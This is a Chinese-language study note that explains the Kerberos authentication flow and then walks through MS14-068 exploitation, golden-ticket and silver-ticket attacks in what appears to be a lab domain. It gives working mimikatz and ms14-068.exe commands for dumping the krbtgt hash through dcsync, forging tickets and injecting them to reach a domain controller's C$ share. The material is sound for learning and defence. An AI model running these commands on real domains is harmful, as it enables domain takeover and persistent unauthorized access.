关于Kerberos协议流程的总结

Kerberos协议工作原理分析

这里面借用一下师傅们的图来说明一下

Kerberos协议的流程大致如下(假设A要获取对Server B的访问权限)

第一步(KRB_AS_REQ)

这一步客户端A向AS发送认证请求,发送经自身密码hash(域用户密码)加密的时间戳(域认证很多都用到时间戳,一是避免了时间过长而造成的暴力攻击,并且正好将时间戳作为认证点)

第二步(KRB_AS_REP)

AS收到了客户端发送的认证请求,于是从本地数据库中拿到客户端A的密码哈希解密出时间戳,若时间戳认证成功后生成SessionKey(A-KDC,第一个SessionKey),并且向客户端发送两个东西

加密后的SessionKey(A-KDC)(经客户端A的密码加密后)  //密文1

将SessionKey(A-KDC)与时间戳标志(控制该SessionKey的有效时间)通过KDC的密码加密的密文发送过去(称为TGT)  //密文2

第三步(KRB_TGS_REQ)

客户端接受到上文的密文1并解密获得SessionKey(A-KDC),但是密文2无法解密,因为是利用的KDC的密码Hash来进行的加密

获取到SessionKey(A-KDC)后,向TGS发送两样东西:

经过SessionKey(A-KDC)加密后的时间戳(认证利用的是时间戳)  //密文1

还有TGT(解密不了只能发送了)    //密文2

以上用来申请与Server B沟通的SessionKey(A-B),第二个SessionKey

第四步(KRB_TGS_REP)

TGS获取到TGT后,解密TGT得到SessionKey(A-KDC),之后再利用SessionKey解密密文1,得到时间戳,如果验证成功后生成SessionKey(A-B),这个时候想客户端发送两样东西

经SessionKey(A-KDC)加密后的SessionKey(A-B)  //密文1

经Server B的密码加密过得SessionKey(A-B)(称为Serve Ticket)   //密文2

第五步(KRB_AP_REQ)

客户端接收到发送的密文后,解密密文1,获取到SessionKey(A-B)
只有想Server B发送两样东西

经SessionKey(A-B)加密后的时间戳  //密文1

Server Ticket(即第四步TGS发送给客户端A的密文2)  //密文2

第六步(KRB_AP_REP)

解密发送过来的密文2,得到SessionKey(A-B),再利用SessionKey(A-B)解密密文1获取到时间戳,认证成功后,客户端A就可访问Server的服务

上面就是Kerbreos协议的简单过程

MS14-068的利用

利用前提

得到一个域内主机,并且知道与用户的明文密码
域主机没有打补丁(KB3011780)

漏洞原理

微软对PAC(特权属性证书)校验不严格导致任意域用户可以提升为域管理员

原理的话我有点菜没看太懂

利用过程

首先得到该用户的SID

whoami /user

利用工具生成票据

ms14-068.exe -u win7@MIKASA.com -s sid -d WIN-Q1E9PO4969I.mikasa.com

-u 域用户名@域名 -s 域用户SID名 -d 域控主机名

之后输入域用户的明文密码就生成了票据

提升权限

klist purge   //清除原来的票据,留下一个干净的空间

mimikatz.exe "kerberos::ptc 票据的路径" "exit"

只有可以使用 net use \\域控名\C$尝试访问域控

成功Get!

黄金票据

利用前提

拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

漏洞原理

自己伪造TGT,忽略过前两部KRB_AS_REQ、KRB_AS_REP,其实说KDC的密码就是krbtgt用户的密码。
在认证过程中所有的KDC密码都代表的是krbtgt的密码。
仔细观察第三步发现,TGS获取的TGT是利用krbtgt的密码解密的,这就意味着我们,可以直接忽略掉前两步直接伪造TGT(前提我们加密需要krbtgt的密码)向TGS发送认证请求(并且可以伪造成任意用户,因为TGT可控,那么PAC也是可控的)

利用过程

登录域控抓取krbtgt的密码Hash和获取域SID

mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt"

获取到NTLMhash:c06e999c1a956bf99502142582e1b495
sid:S-1-5-21-3006648259-3336348783-1992286540

一次性利用mimikatz并且直接注入凭据

mimikatz.exe "kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ptt" exit

分步利用

kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ticket:test.kirbi

kerberos::ptt test.kirbi

一次性利用那个没有实验成功(不知道怎么回事)
参数详解

kerberos::golden  //创建黄金票据
user:administrator  //伪造用户
domain:MIKASA.com  //指定域名
sid:xxx            //域的SID
krbtgt:hash        //导出的krbtgt用户的Hash
ptt                //将注入的票据注入到内存中以供使用

之后可以使用IPC$或者PsExec等建立连接了

白银票据

利用前提

拿到目标机器hash(是目标机,不一定是域控,因为这里面我们做实验用的是域控,所以才使用域控(目标机)的Hash)

漏洞原理

在第五步中,Server B确认客户端A是通过解密ticket来确认SessionKey(A-B)认证的。
但是ticket是TGS发送的,需要Server B用机器Hash解密。
假设我们知道了机器的Hash是不是也可以跟黄金票据一样伪造TGT一样来获取访问权限呢?
当然假设我们知道了机器的Hash以及ticket票据的构造,那么我们也可以自己伪造一个!!

局限性

因为需要目标机器的Hash,并且也不是通过伪造TGT申请的,因此只能针对对应服务伪造票据(黄金票据直接伪造的是TGT,而白金票据伪造的是TGS发送的票据,也就是说是单向车程)

漏洞利用

去域控下整下机器的hash值(我这里面为了访问域控,所以是域控的Hash值,若是访问其他的,则需要获取对应的机器Hash,第四步里面讲的很清楚了)

kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540  /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:9f26d10e5bbcb5b891fc6ca79e53a033  /service:cifs /user:yifan /ptt

//用户名随意填写,第6步没有验证用户名

dir \\WIN-Q1E9PO4969I\C$